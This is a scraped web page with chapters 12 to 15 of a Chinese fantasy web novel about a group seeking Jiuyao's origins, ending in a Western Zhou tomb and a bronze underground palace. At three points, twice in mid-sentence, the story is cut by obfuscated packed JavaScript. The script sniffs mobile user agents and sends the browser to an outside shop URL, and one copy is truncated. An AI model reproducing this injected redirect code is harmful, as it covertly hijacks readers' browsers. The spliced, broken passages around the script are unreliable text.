若时光不肯逆转,那吾便溯游而上,做那水中石,纸上像。 九瑶凝望着画像,眼中有泪:“女妭,好久不见。” 只是,再见依然是道别。 13. 第 12 章 虞山,山雪楼。 山雪楼是虞山的五个茶室之一,说是楼,其实不过是一座依山而建的三层观景平台,最底下一层是露天的,面积也最为宽广,平台上是真山真水打造的茶室园林,中间还修了一条蜿蜒的河渠,引了山泉下来,据说最早的时候江家先祖来此隐居,曾作曲水流觞用,现在基本是闲置了。 第二层就是主茶室了,宽敞明亮,观景视野也是最好的,一般会客都会选在这层。第三层则是一个凹进去的山洞,被他们戏称为茶洞,造型很独特,配上千年老柏树根做的茶海,非常适合一人独坐或两人对饮。之所以叫山雪楼是因为这个茶室看出去,正好是虞山的北峰,山形铿锵,壁立千仞,山顶覆盖着终年不化的积雪。 江离和江忍便是约在茶洞见面的。 江离一边摆弄一只小狐狸茶宠,一边漫不经心的说:“我们这位弟弟,跟着太爷学了不少好本事。虽然年纪轻轻,却足够沉得住气,回来有两个多月了吧,按理说心里面已经有了不少疑惑,可就是能忍住不问,倒反而叫我们看不透了。” “他跟那个沈家的怎么回事?以前有过交集吗?” “没有吧,就是不知道是他自己的意思,还是太爷的意思。” 江忍沉默。 江离将壶中已经凉掉的前茶倒掉,重新温杯,投茶,注水,滚烫的茶汤过滤到茶海中,再被分入茶杯中,他知道江忍不爱喝茶,所以只给自己斟了一杯。 “不用太担心,他什么都做不了。现在的虞山已经跟从前不一样了,别说是他,就算太爷来了,也寸步难行。”江离淡淡地陈述,“况且我们也不是曾经的我们了,谁也别想轻易拿捏我们的生死。” 江忍看着他,目光中有一瞬间的犹疑。 江离细呷一口杯中香茗,知道他心中所想,声音带了一丝若有若无的笑意:“他们两位早就对整个局势没有任何影响了,你若想保,就将他们架空的再彻底一点。还有,我估计江宴很快就会有所行动,其实他离开也好,有些事当着他们的面,你也为难。” “所以他是故意的。”江忍心下渐沉。 “你以为他还会跟我们唱什么兄弟情深吗?”江离轻笑,“太爷能放他回来,就说明他已经不可能是从前的阿宴了。” 江忍无言。他发现自己其实一点都不了解这个弟弟,只记得他离开的时候很小,后来也一直以那个形象无数次的出现在养父母的口中。甚至在江忍的印象中,那就是个长不大的孩子,所以他为什么还活着,又为什么要回来? 一天的忙碌,此刻疲惫感轰轰烈烈的袭来,江忍不想再继续讨论这个话题,转身欲走,却又突然停下,背对着江离道:“既然出去了,就不要让他再回虞山了。” 江离放下茶杯,回了句:“好。” …… 处理完旱魃的事情已经临近清晨,大家都折腾了一晚上,又累又困,加之,尚有一些后续问题等待理清,江宴便没有回虞山,跟着沈半人一行在村子边缘找了间还算完好的民居,暂作休息。 九点多的时候,江十七找了过来,沈半人从他口中得知昨晚发生的事江家已经都知道了,但并没有做出什么明确表示。大概意思是江宴帮他是个人行为,江家仍旧是不会管他的。 江宴还没起,沈半人坐在他房门口,细数着江十七带来的烤鳗鱼,炙蟹宝,和牛煎饺等各种美食,强忍口水问:“你们江家这些食材都是从哪里弄来的,看你们出来一趟都老费劲了。” “又不用我们出去买,”江十七一路找过来累的满头大汗,用手给自己扇风:“你是不知道我大伯母多疼儿子,自从我们宴哥回来后,每天变着花样给他准备各种好吃的,今天川菜,明天粤菜,后天淮扬菜,时不时再来个异国料理……” “回来?”沈半人好奇。 “是啊。”江十七试了下食盒的温度,确定还温热着,看了眼紧闭的房门,决定等一会儿再去叫他。 “说起来其实我们也并不比你早到虞山多久,我们宴哥大概四五岁的时候,就离开虞山了,说是送到外面去学习,一学就学了十七八年,期间从来都没回过虞山,也没跟父母见过一次面,太爷甚至连电话都不许他打。” “这么严苛?” “可不是么,太爷一向这样的。不止宴哥,我们所有生活在他身边的人都是这样被他要求的。我记得我小时候有次生病,太难受了,就悄悄给我妈打电话。我妈一听我声音急了,就要来找我,后来这事被太爷知道了,我就被送到大山里一个完全与世隔绝的村子,就那种经常拐卖女大学生的村子知道不,那里连电都没有。村子里的人也都是没受过教化未开智的,野蛮的很,我一个小孩子,身无长物,语言不通,每天割草,喂猪,干各种农活,来换一点别人吃剩的垃圾填肚子,还经常莫名其妙地被村子里的大人们揍,活得连畜生都不如。说实在的,我那时真的想死的心都有了……” “后来呢?”沈半人没想到眼前这个乐乐呵呵的小伙子竟然还有一段这样的过往,瞬间心疼起来。 江十七语气倒还轻松:“后来啊,大概是两年后了,我宴哥来接我。我记得那天原本就跟今天一样的平平无奇,我在厨房生火准备烧水给村里的大人们用,突然听到有人叫我。不是那种大呼小叫骂骂咧咧的,是很温柔很坚定的声音,叫我‘十七’。” “我一抬头就看见我宴哥站在门口,你懂不,我宴哥就跟浑身都发着光一样,我一下子眼睛就模糊了,眼泪噼里啪啦往下掉,然后冲到他怀里大哭了一场。” “你怪你太爷吗?”沈半人问。 江十七笑着摇了摇头:“以前应该也怪过吧,后来可能习惯了,也被整服了吧。在江家没有人能忤逆太爷的决定,不管是我,还是宴哥,他就算要我们去死,我们都不敢不照做。所以当他愿意放宴哥回虞山的时候,我真的兴奋的几天几夜都睡不着觉,可惜……” “可惜什么?”沈半人正想问下去,就见九瑶手里拿着封印女妭的画像走了过来,刚好江宴也起来了,门打开,江宴看见她手中的画,猜到了她的来意。 “这幅画,如果九瑶小姐放心的话可以暂且交给我保管。女妭虽已被封印,但她毕竟是神,神力外溢,如果不妥善安置,可能会招来其他生灵。” 九瑶正是为此而来,她将画卷递给江宴,说了句:“多谢。” 正准备离开,突然被江宴叫住:“听说九瑶小姐身上有一些解不开的谜题,可能跟祖巫氏的神血有关,如果九瑶小姐有时间的话,我们可以一起坐下来聊一聊。” 时间已是中午,大家正好一起就着江十七送来的食物吃了个午饭。饭后,沈半人先开口跟大家大致讲了下九瑶的情况。 “九瑶,你昨天画的女妭的画像是怎么回事?你见过她吗?你是不是想起了什么?”沈半人关心地问。 九瑶想了想,说道:“我是见过她,她还赠过我萆荔的叶子,我当时似乎很难过,她让我不要伤心。我就只记得这么多。” “就这些?”沈半人有点难以置信,“那她被封印,你为什么那么难过?” “我……就是觉得,好像又失去了一位故人。”九瑶不确定道。 “又……”江宴品尝着这个字带来的信息,“现在可以确定的是,你跟女妭曾经处于同一时代过,而她跟你最有可能的关系,是朋友。如果这样看的话,你应当是神族。” “所以你失去记忆,变得记不住事,都可能是‘魃化’造成的,而你遇到沈半人,突然能够记住事情,是因为神血给了你刺激。” “这一切都可以说通,只有一点不合理,那就是你对神血,似乎并无欲望。” 江宴问她:“你从来都没想过要吸食沈半人的血吗?一点点都没有?” 九瑶坚定的摇了摇头:“从来没有。我根本不知道什么神血。” “会不会是她成魃太久,或者我的神血纯度太低,所以她都感应不到了。”沈半人猜测,“不然我再放一碗血给九瑶试试?” “你想什么呢!”江十七一脸看傻子的表情,“魃只喝新鲜的神血,直接从身上吸出来的那种,离开你身体的,那叫废血!” 沈半人不服气:“说得好像你见过一样!” “我当然见过啦!”江十七也不依不饶,“你是不知道,那些神魃见到祖巫氏,就跟吸血鬼上身似的,就这样,两只手铁钳一样箍住你,”边说边上手摁住沈半人的肩膀,“力气大的下一秒就能撕碎你。然后张开他们的血盆大口,露出鳄鱼一样的牙齿,一下子就咬在你的脖子上……” 沈半人感觉脖子一凉,刚刚对江十七过往经历的那点心疼荡然无存,当下嫌弃的甩开他的手。 江十七笑笑:“不管你怎么挣扎还是要眼睁睁看着自己的血被吸干,在痛苦恐惧中受尽折磨的死去。我亲眼见过的那一次,那个人脖子几乎被咬断了,所以要不是我宴哥去救你,你恐怕早就被那旱魃吃的骨头都不剩了!” 他说的绘形绘色的,让刚刚死里逃生的沈半人忍不住一阵后怕。 江宴思考良久,提出自己的看法:“我个人认为九瑶小姐应当不是神魃。” 众人目光都看向他。 江宴解释道:“祖巫氏神血的诱惑对神魃而言几乎是一种天性,就像植物向阳生长,他们会出于本能的去吸食神血,这种属性是掩盖不了。” “而且,严格意义上来说,九瑶小姐也并不符合‘魃化’的症状。成魃以后,最先衰弱的是神力,接着会出现失忆,意识不清的情状,等到神力衰弱到维持不了正常的御敌和捕食能力,魃才会从意识上回到初生的形态,从而完全失去思维能力。我从九瑶小姐的身上已经完全感受不到神力存在的痕迹,可是九瑶小姐仍然思路清晰,且行为身手都有考量,仅仅是没有记忆而已。我所了解的魃,从未有过这样的例子。” 江宴的分析合情合理,众人陷入思考。 “若不是神族,又见 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13493291|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过女妭……”江十七思索着说道,“那至少也是创世之后的第一批人类了,而且按照时间推断,很可能跟蚩尤同时代。” 蚩尤…… 九瑶脑子里一刹那闪过一些画面,似乎有很多很多的部落,图腾,还有燃烧的火把,无边无际的逃亡和恐惧…… 江宴察觉到了她的异常,关心道:“九瑶小姐,是想起了什么吗?” 脑子里的画面太乱,一闪而过,九瑶不知从何说起,只能摇了摇头。 “没准真和蚩尤有关!”江十七激动道:“你看蚩尤是九黎族首领,九瑶姑娘又姓九!怎么看都是一家人!” “第一批人类能活到现在?”沈半人一脸怀疑。 “怎么不能……”江十七有点不确定,心虚的问江宴:“能吗?” 江宴摇了摇头:“这个说不准,第一批人类确实比我们现在的人类要强大也长寿的多,但他们毕竟不是神,不可能不死,除非……” “除非什么?”沈半人迫不及待的问,九瑶也看着他。 “除非借助了某种特殊的方法,让原本不能长生的人获得了长生不死的能力,比如不死药。” “这世上真的有不死药吗?”沈半人自言自语。 “这世上都有神和魃了,有不死药很奇怪吗?”江十七回他。 说的……也是。 江宴:“我想到一个地方,或许可以查到九瑶小姐的身份。” 江宴理了下思绪,说道:“西周时期有一个小国,叫鱼国。这个国家的人非常擅于冶炼青铜器,他们做出的青铜器,不仅外观精美绝伦,而且还能作为人与神之间沟通的介质。于是周王朝便令鱼国人掌管整个国家的祭祀活动。” “那时候神人虽然划界而治,但仍有些通道可以实现人与神之间的会晤,而进入这些通道的钥匙,就是鱼国人所造的青铜器。著名的‘周穆王拜会西王母’事件,便是鱼国人牵线搭桥的。” “周穆王从昆仑神界返回时,曾带回了大量的神族物品,其中有一本神谱,据说里面记载了所有昆仑神族的名单,以及神族自昆仑初入人界时,与第一批人类之间的交往史。他将这本神谱寄存在鱼国,以供祭祀用。我们如果可以找到这本神谱,也许能找到一些九瑶小姐身份的线索。” “西周时期的小国,那得有三千多年了,”靳川愕然,“真的还能找到吗?” “鱼国人最后一次出现,是在秦始皇时期。”江宴补充道:“当时始皇帝正到处求访不死药,有位方士跟始皇帝提到了鱼国,以及那些能与神明沟通的青铜神器。方士跟始皇帝究竟说了什么已不可考,只知道后来始皇帝便下令,掘地十尺,也要挖出鱼国人来。” “这个命令初闻觉得没什么,不过是始皇帝寻人心切罢了。可是细想之下,始皇帝要的定然不会是鱼国人的尸体,他要活的鱼国人,或者是那些青铜神器,所以那方士给他透露的鱼国人及青铜神器的下落,必然是在地下。” “那秦始皇最后有找到吗?”靳川关心地问。 “不仅找到了,而且他还把自己的地宫建在了那附近。” “秦始皇地宫啊,是不是都没挖出来呢?”沈半人瞬间有点沮丧,“而且这秦始皇的地宫那么大,鱼国人在哪儿根本说不准,即使能找到,咱们又怎么进去呢?” 一番事实陈述让众人又心情沉重起来。据说秦始皇陵正是因为挖掘难度大,里面又到处是弓弩箭矢等暗器,甚至可能还灌入了剧毒的水银,考古危险系数过高,所以至今未能真正被开发研究。 “我知道在哪儿,四年前我进去过一次。”江宴说道。 希望就是来的这么突然而然。沈半人和靳川闻言眼睛都亮了,九瑶一直没敢把期望值放的太高,虽然面上没有太大的情绪波动,但心里也着实感到雀跃。 “江宴,我就说你绝对是我们的福星!”沈半人夸张的奉承,又对靳川说:“看看,老天不白长眼,要不人家生的这么赏心悦目,能力又这么出众!” 靳川连连点头。 江十七一脸骄傲:“算你们有眼光。” 江宴并不参与他们的胡闹,对九瑶说:“与其在这里漫无目的的猜,我们不如先去那里找一找神谱,如果神谱里没有线索,到时也可以去蚩尤旧部看看。” 九瑶点头。 “你的意思是你也会跟我们一起去?”沈半人突然问。 江宴愣了一下,突然反应过来这事其实自己并没有参与的必要,只要给他们地宫的路线图就可以了。但看着他们全都一脸期待的表情,反悔的话又说不出口,而且沈半人也确实需要自己帮忙隐藏神血气息。 “……封印旱魃的时候,九瑶小姐帮了我很大的忙,于情于理,我都应该去这一趟。你们今天早点休息,准备好要带的东西,明天我会过来接你们。” 说完,起身走了,留下江十七一脸笑容的翻译:“他的意思是,他还挺喜欢跟你们在一块的,明天见啦。” 14. 第 13 章 第二天一大早,沈半人刚起床,就看见一辆白色的皇冠陆放停在门口,车顶绑了两个大大的行李袋。看见他出来,江宴从车上下来,可能是为了开车方便,穿的非常休闲,简简单单一件黑色t恤,却因为本人实在肤白颜靓,硬是穿出了大明星的气场。 帅哥看帅哥,总会忍不住的攀比,但对江宴,沈半人到还真没有过这种心思。首先,不得不承认,人家确实生的好看,非常客观的好看,五官、轮廓都挑不出任何一点毛病,再加上优越的皮肤底子和宽肩窄腰匀称挺拔的身材,谁见了都要感叹一句这绝对是女娲的偏心之作。 最难能可贵的还是气质,一般长得这么帅的男生要么高冷,要么多情,江宴却是给人分寸感恰如其分的感觉。在沈半人看来,他是那种包容性特别强,但又非常有主见的人,如果你跟他是队友,那你绝对是幸运的,因为你基本可以放心的把一切交给他,他不但能事无巨细地给你办的妥帖抚顺还会充分尊重你的意见和感受。 “早啊。”江宴打招呼。 “早。”沈半人及时收敛心神,毕竟一个男的一大早沉浸在对另一个男的颜值的欣赏里,传出去要叫人误会的,“十七呢?”他伸头朝车窗里看了看,发现来的似乎只有江宴一个人。 “哦,他不去,他有点事要留在虞山。”江宴一语带过,绕到车后打开后备箱,问:“东西多吗?需要帮忙吗?” “没什么东西,我们三个人一人一个包,里面三两件换洗的衣服,除此之外就都要劳烦你提供了。”沈半人笑嘻嘻地说,没有半点不好意思。 江宴笑:“没事,行程不长,该带的十七都备着了。” 车子足够宽敞,沈半人和九瑶坐在中间一排,靳川一个人坐后排,江宴在前面开车,他带一副半指运动手套,正好可以把他手腕上的绷带挡住。 九瑶很想问他手腕伤怎么样了,还有女妭的事,其实一直欠他一句道谢,但不知为何,就是很难开口。她也不懂明明江宴是个很好相处的人,为什么就是会给她一种距离感。 好在一路有沈半人这个公路之光在,总是能找到些大家都感兴趣的话题,四个人一边有一搭没一搭地聊着,一边欣赏沿途风景。但开了百来公里后,窗外都是相似的风景,看了一会儿也就兴致缺缺了。 沈半人想起了江宴昨天说的鱼国人的事,虽然他本科学的理科,但其实一直都对历史故事神话传说很感兴趣,忍不住说道:“江宴,你再跟我们多讲点鱼国人的事呗。” 车子已经行驶到京藏高速入口,江宴放慢车速,通过etc后,看了下高速上几乎没车,于是打开定速巡航,忙完了才开口:“其实我知道的也不多,有一些也是无从考证的,只能作参考,你们听听就好。” “要说这鱼国人,就得从古蜀国开始讲起,”江宴看一眼后视镜,“李白有首诗叫?蜀道难?,里面有一句‘蚕丛及鱼凫’,其中蚕丛,就是古蜀国的开国君主,第一代蜀王,传闻他擅长养蚕,面部最大的特点是目纵,也就是两只眼睛凸出,跟三星堆出土的那些青铜纵目面具一样。关于他的记载,还有一个值得特别注意的地方,那就是他很可能是颛顼帝的后裔。” “之前跟你们说过颛顼帝颁布了绝地天通的法令,从此神人划界而治,但颛顼帝在位时,不可能让神人真的彻底断联,他肯定给自己留了后路。传闻他把神人联络的方法秘密的传给了自己后裔,而他的后裔又将此秘密放进了族人冶炼的青铜器中,做成了可以开启神界之门的青铜神器。” “之后,古蜀国在经历了三王争雄后,最终由鱼凫完成了政治和文化的统一,开启了强盛了鱼凫王朝,并将青铜器的发展推到了空前绝后的盛世。” “那么这个鱼凫,就是鱼国人的祖先喽!”沈半人推测,“我猜,这个鱼凫王朝后来是不是给谁灭了,然后宗亲贵族逃了出来,投奔了周王朝,建立了后来的小诸侯国,鱼国。” 江宴‘嗯’了一声,继续说道:“殷周之际,望帝杜宇取代了鱼凫王朝,当时的君主鱼伯,带领宗族亲信以及大量珍贵的青铜神器,逃亡到了西周的国都镐京,也就是现在的陕西西安。鱼伯通过敬献青铜神器,与西周进行了政治联姻,娶了西周王室之女井姬,并以此作为交换,在周王朝获得了异性诸侯的封地。” “这块封地在哪儿?”靳川问。 “在陕西宝鸡,秦岭山脉附近。” “难怪鱼国人最后躲在了那里,”靳川明白过来,“原来他们还是在他们自己的封地里,只是他们为什么要从地上转移到地下去呢?” “跟周穆王拜会西王母有关对吗?”沈半人问江宴,“神人已经划界,就算有其他通道,那也是秘密的,不能宣之于众的,这周穆王跟西王母见面的事,闹的从古至今都人尽皆知,昆仑那边不可能不管。” “没错,”江宴露出赞许的目光,“甚至在周穆王刚从昆仑神界出来后,那把开启神界的钥匙便被毁掉了,周穆王从此再没能踏入昆仑神界。不仅如此,促成此事的鱼国人也因为泄露天机,而被降下神罚,一夕之间,举国覆灭。” “不过,这鱼国人也当真聪明,”江宴感慨,“否则也不会带着大量青铜神器,从望帝的眼皮子底下逃脱。其实他们在给周穆王钥匙时,就预见到了昆仑的震怒,所以早做了准备。神罚可降凡人,却不能达幽冥,这是盘古开天地后,天神与地神之间的约定。鱼国人深知这一点,所以他们自打进入封地后,便开始秘密的挖土造殿,前后共历时五十年,他们从人界一直挖到了冥河,并在两界之间建了一座庞大的地宫。” 江宴停了一会儿,似乎在想怎么去描述这座地宫,他虽进去过,但毕竟不能从外部直观地看见整个地宫的样貌,只能凭地宫内部的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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这一夜,九瑶梦里梦外睡的很不踏实,自打她为了回忆起女妭的事情,主动让思绪沉入脑海里的那片黑色深渊,那深渊便仿佛缠上了她,只要她闭上眼睛,就不会不由自主陷入迷乱的梦境中。 在梦境里,她仿佛一个外来者,看着梦境中的自己不停地奔跑,逃亡,眼神中满是恐惧,表情痛苦不堪,她甚至能清清楚楚的看见自己满脸都是泪痕,绝望而伤心。可是作为旁观者,她却又无法感同身受,她不知道那个梦境中的自己究竟遭遇了什么,此刻又在想些什么。 她在一个又一个梦境中辗转奔波,偶尔于疲惫中片刻的醒来,迷迷糊糊地看一眼帐篷透气窗外的夜空,浩瀚银河,漫天繁星,仿佛无数的谜题,笼罩在她身上。她究竟活了多少年了,何以千年以前都寻不到来处?在她这漫长的一生中,是否也曾有非常重要的事或人存在过呢? 她沉浸在迷茫而怅然若失的心境中,几乎有些不能自拔,余光却瞥见江宴独自坐在篝火旁,同样心事重重。她忍不住好奇,原来知道那么多事情的人,也会有烦恼吗? 15. 第 14 章 天微微亮的时候,四个人就换好了衣服,把东西都收进车子里,只带了些必要的用品在身上,然后开始徒步往山林深处走。 江宴要先把沈半人和九瑶送到地宫其中一个入口处,但那里距离地宫真正的入口还有很远的路程。他们两个需要穿行一个幽深窄长的峡谷,差不多有十五公里那么长,最窄的地方只有40公分宽,好在沈半人和九瑶身材都属于比较瘦的,穿过去应当不是什么问题。 出发前两个人喷了一些驱蚊喷雾,带了驱蛇的药粉,这个季节,山林早晚湿气重,蛇虫鼠蚁都比较活跃,万一被咬到,深山密林救治起来也非常困难。 之后,江宴再和靳川一起徒步至地宫的另一个入口,那是位于半山坡密林深处的一条淡水湖泊,因为海拔高,又被参差错落的山体包裹着,从远处看像极了悬在半空中的一只巨大深邃的眼睛。 湖水两岸群峰堆叠悬崖绝壁,临近湖水的崖壁上有许多天然形成的洞窟,一部分湖水打着浪冲入洞窟中,却不见有任何回流。 江宴和靳川一人背一套潜水装置,从崖壁往下攀,下到洞窟附近,靠近洞口的水不是很深,刚没过两人小腿肚,两个人直接蹚着水进去。洞窟里面很黑,江宴带了一条纽扣电池的彩灯串,随手贴在石壁上,彩灯的光点打在洞窟中央一个凹进去的圆形的大水坑上,看着还挺好看的。 “我们等会儿就从这里下去吗?”靳川问。 “是,”江宴神色认真道:“这个水坑很深,里面是一个倒扣的丁字型,刚开始会有一段一百多米垂直距离的下潜,虽然有装备,但这段依然会很难受。如果你到时感觉受不了,你就回头,装备会带着你上来,但你要控制好速度,不要太快,我留了彩灯给你指路,你回到洞窟等我,千万别逞强。” 靳川点了点头,然后问:“过了那段垂直距离,该怎么走。” “水里面几乎没有光线,我们的潜水服都是自带防水荧光的,你跟着我走。” “还有,最后一段路程,我们可能需要洞潜,一共有三个相连的水洞,第一个水洞非常的狭窄,我们的氧气瓶过不去,所以需要丢掉氧气瓶,闭气前行。” “第二个水洞岔口多,非常容易迷路,但那一段只有20米长,最后一个洞下面就是地宫的入口,到时我在前面,打开地宫入口,我们就可以进去了。” 情况其实昨晚江宴就已经跟靳川细细讲解过了,出于谨慎,江宴还是再次向他确认了下:“靳川,这条水路死过不少人,专业的洞潜人员也有折在这里的,就算我熟悉线路,也不一定能完全保障你的安全,你不要太勉强。” 靳川笑起来:“我知道,昨天你就说过了,但我也说过了,我可以的,相信我。” 江宴点了点头,两个人稍作休息,换上潜水服,背上氧气瓶,一前一后进入水坑。 开始果然如江宴所说,这一段垂直下潜是真的很难受,戴着氧气罩都觉得有种强烈的窒息感和压迫感。不过靳川身体素质和耐受力一向很强,这些不适,但凡能够忍下,就没什么太大问题。 水域宽敞起来,他看见江宴不再下潜,知道已经到达丁字型坑洞的平行区域了,四周仍是黑洞洞一片,水非常冷,隔着潜水服都能感受到的冰凉刺骨,不过倒不用害怕有什么危险生物靠近了,这种生态环境,连只鱼都没法活。 继续往前潜了一段,透过江宴潜水服上的亮光,可以看到前方出现一个洞口,江宴转过身来,做了个进去的手势,然后他果断的摘下氧气面罩,脱下氧气瓶,把氧气瓶挂在了洞口附近的位置,俯身钻进洞里。 靳川在洞口犹豫了一会儿,因为那洞是真的很窄,几乎像个水管子,人钻进去,任你有再好的技术,也根本游不起来,只能攒劲往里头一寸寸挪,连回头路都没有。要是被卡住了,或者中途脱力,结局必然是活活溺毙在里面。 眼下,要么是背着氧气瓶原路再潜回去,靳川心里面打着退堂鼓,但决计是不会这么做的。一番心理建设后,终是一咬牙,摘掉氧气罩,丢了氧气瓶,闭住一口气往那洞里钻了进去。 尽管泡在水里,靳川还是感觉自己出了一身汗,但好在并没有想象中那么难熬,这一段他爬的虽艰难,但力有所及,状态不错,真正痛苦的是第二个洞。 他刚从那个狭窄的1号洞出来,终于能够伸展四肢,游动起来,却又突然间惊觉这里岔路口众多,而自己的闭气已快到极限,大脑已然处于思维停滞状态,根本无法分辨正确方向。这时,有人拽了下他的胳膊,他一抬头看见江宴就在他前方,向他打着手势,让他跟过来。 靳川一下子懵了,江宴这是折返回来接他,还是一直在这里等他?但不管是哪种情况,他摘了氧气罩那么久了,再耽搁下去随时都会有窒息的风险。 靳川顾人心切,潜力瞬间爆发,随着江宴一路奋力疾驰,很快穿过了迷宫重重的2号洞,顺利到达3号洞。3号洞里堆积了不少白骨,靳川猜测他们可能是不同时代的盗墓者,在探路的时候,有些死在了1号洞,有些死在了2号洞,后来都被水冲过来了。 江宴潜到洞底,用手拂开那些人骨和堆积的沉沙,露出一个像门环把手一样的东西,靳川游过去,和他一起拉动把手,在水中浮力双重的作用下,那门环相连的门很快被拉开,两人随即鱼贯而入。 等到再度浮出水面,已经是在地宫内了,环境瞬间变的宽敞明亮,干燥整洁,靳川忍不住大口大口呼吸着清新的空气,感觉再晚一秒,肺就要憋炸了。江宴的情况也没比他好多少,就这路况,再怎么轻车熟路,每一次进来,都得要冒着巨大的风险,甚至要做好去掉半条命的准备。 “江宴,”靳川上气不接下气,“你……第一次进来的时候,知道……有另一个门可以不从……水路出吗?” 江宴边脱潜水服边说:“不知道。” “那你也能那么果断的扔了氧气瓶?” 江宴笑:“我一向运气好啊!” 九瑶和沈半人这边,情况虽说没有走水路那么危险,但也是活罪难逃。正常不是都说峡谷里面都会很凉快嘛。可这个峡谷它不正常啊,不仅窄,还要多曲折就有多曲折,简直一丝丝风都透不进来,九瑶和沈半人只能侧着身子前胸后背都贴在石壁上,一步步地挪,此刻俱是大汗淋漓,浑身湿透。 唯一庆幸的是,没遇到什么难搞的“森林居民”,除了一窝蝙蝠,被沈半人的鬼叫吵得集体离家出走。 不知走了多久,突然发现到底了,没路了。沈半人,左看右看,看不出哪里有个入口的样子,正要崩溃是不是走错路了,突然石壁一阵震动,原本严丝合缝的壁面向内凹进去一块,一阵凉风从里面透出来,同时露出靳川笑容满面的脸:“好巧啊,你们也到啦!” 说着把半死不活的沈半人拖了进去,九瑶也跟着利落的闪了进去。 “还顺利吧?”江宴问她。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13579738|141963||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 九瑶点点头:“你们呢?没受伤吧?” 不等他们回答,瘫在地上休息纳凉的沈半人突然道:“你看他们这一脸国泰民安岁月静好的样子,也知道他们比我们要轻松的多啊!” “我怎么感觉你们水路比我们的要好走。”他怀疑地问。 靳川拍了下他肩膀,笑道:“人不行,别怪路不平。” …… 沈半人满怀期待的下来,以为今天能开开眼,看到媲美世界第八大奇迹的盛景,没想到里面就是个很普通的西周形制的诸侯墓。墓坑呈甲字型,有墓道和车马坑,墓室中的青铜礼器是标志诸侯身份的五鼎四簋。 虽是夫妻合葬墓,但那个时代流行异穴合葬,主墓室躺着鱼伯跟他的人殉,还有大量的青铜兵器等随葬品,看得出来鱼伯生前尚武,那青铜鼎上刻着大片大片的金文,据江宴翻译,主要是歌颂了鱼伯这个人的毕生成就,令沈半人意外的是,鱼伯竟然还参与过伐纣。 “那他一直活到了周穆王时期?”靳川感觉不可思议。 “有没有可能,鱼伯根本就不是人名,而是鱼国君主的统称呢?”沈半人善意提醒,“这里躺着的是作为诸侯国的第一任鱼国君主,而穆王时期的那个是鱼国的最后一任君主。” 主墓室通过长长的墓道跟另一个小一点的墓室相连,那里面躺着鱼伯的正妻,名井姬,出生于周朝一个世卿大家,是当时有名的贵族家庭。 井姬的墓室陪葬品更多,甚至连棺椁都是青铜铸造的,墓室四壁的宫灯,也都是代表了鱼国文化的青铜神鸟像。但就像江宴说的,那些陪葬的青铜器除了工艺出众外,大多不过都是些常见的器物,若说有什么特别的,那便是每一件青铜器的底部,都刻着这么一句话——鱼伯作井姬用器。 “看来,这个鱼伯很宠爱自己的正妻啊,这些青铜器,小到爵、觝、角等餐饮用品,大到鼎、鬲、尊等祭祀用品,都是专门为她打造的。”沈半人感叹,“说到搞浪漫,古人还是别具一格。” 沈半人还沉浸在对鱼伯和井姬美好爱情的遐想中,江宴已经走到棺椁前,摘掉了手套,双手合十,语气虔诚:“抱歉,又来打扰了。” 说完,从口袋里掏出一把黑色的珠子,靳川注意到那是刚才江宴在墓道两侧的青铜神鸟像上抠下来的神鸟的眼睛,当时他还在奇怪他拿那些眼睛做什么。 只见江宴将那些神鸟的眼睛一一放入那青铜棺椁上不同的位置,起初看着还没什么变化,但等到最后一颗眼睛放进去,那青铜棺椁突然向上升起,原来棺椁的位置露出两片石板拼成的石门。那石门上各有一个奇怪的图案,看着像鸟,又像鱼,而且诡异的是,沈半人发现这两个图案根本没法让人记住,上一秒你看清了图案的样子,下一秒再去看又觉得好像没见过。 江宴又走回墓室中样,辨认了一下方位,然后走到其中两个神鸟像前,扳动它们,改变了它们的朝向,“轰”的一声,那石门向两边开启,露出一个黑乎乎的井口大小的洞,里面却又好像浮动着奇妙的光影,远远看去,仿佛是在地球上看宇宙虫洞的感觉。 “地宫就在这下面,跟着我走,小心点。”江宴提醒,三人点点头,江宴打头阵,靳川次之,沈半人跟在靳川身后,九瑶断后。踏入洞中时,九瑶感觉身后似乎有一双眼睛,一直在看着她,她警觉的回头,头顶上方除了那座青铜棺椁,什么也没有,空气中却弥漫着一股奇异的香气。 16. 第 15 章 这洞里的世界,果然别有洞天。 四个人沿着巨大的青铜质地的楼梯一步步向下走去,第一感觉是大,仿佛脱离了边界感的广阔和巨大。无论是道路两旁巍峨挺立的各种青铜装饰,还是是眼前高门深柱,如同天上宫阙的青铜王殿,抑或是王殿中闻所未闻的各种青铜礼器,无一不在诉说着一种挣脱桎梏,走向宇宙的顶级探索情怀。 千年之前的鱼国人,竟然已经有了这么高级而另类的审美能力? 这里深埋地下,本该阴暗潮湿,却给人一种窗明几净灯火辉煌的感觉。原来鱼国人早就掌握了使用天然地晶石作为光源的方法,地晶石不但能提供充足的光照,还是一种会“呼吸”的石头。传言深山大川,之所以灵气充沛,皆是因其内部有神秘晶石,可以汲取日月精华,激浊扬清,滋养万物。 “难怪鱼国人会被神罚,这地宫造的怕是不比昆仑神界的差了。”沈半人感叹。 “那我们也算是到过神界的人了?”靳川笑着配合。 